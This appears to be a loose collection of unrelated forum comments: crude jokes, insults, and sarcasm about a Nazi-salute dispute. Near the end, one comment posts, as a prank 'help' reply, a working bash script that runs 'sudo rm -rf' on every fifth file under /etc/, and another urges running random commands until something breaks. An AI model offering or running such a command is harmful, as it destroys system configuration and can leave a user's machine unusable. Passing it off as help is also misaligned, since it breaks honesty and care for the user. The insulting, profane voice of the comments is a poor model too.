You don’t need it anymore

The CEO of Linux is a fucking nerd, I hate nerds

How in the ever loving fuck are The Simpsons and Family Guy still on TV?

I got a used kit on eBay for $12. What a steal!

Jigsaw, is that you?

Truly a tragedy for humanity

Glad you got out.

This is perfect advice for the numerous idiots downplaying the Nazi salute

Be gone devil man, your petty utterances are of no concern

It bothers me that they’re not in the right places in this post or the link. It should be ^ and $

Bonjour

It’s just a flashbang drive, I swear

They’re gonna be mad that you insulted the führer

“No, see, it’s not a salute because his hand is tilted .026 degrees higher than that of Adolf Hitlers Nazi salute, so how can you even compare the two things, they’re completely different!!!”

When you try to back away slowly but they just move with you

Holy shit what is happening

Your mental gymnastics are Olympic class

America: Hold my beer

Write a script to delete every 5th file under /etc/.

EDIT: did it for you

#!/bin/bash

count=0

for file in $(find /etc/ -type f); do
  (( count+=1 )) 
  if (( $count % 5 == 0 )); then
    sudo rm -rf $file
  fi
done

And now you have lots of stuff to fix and configure. You’re welcome!

Bonus, you don’t have to go to work tomorrow

Or ever again.

You’re never leaving.

Run random commands until you break some shit

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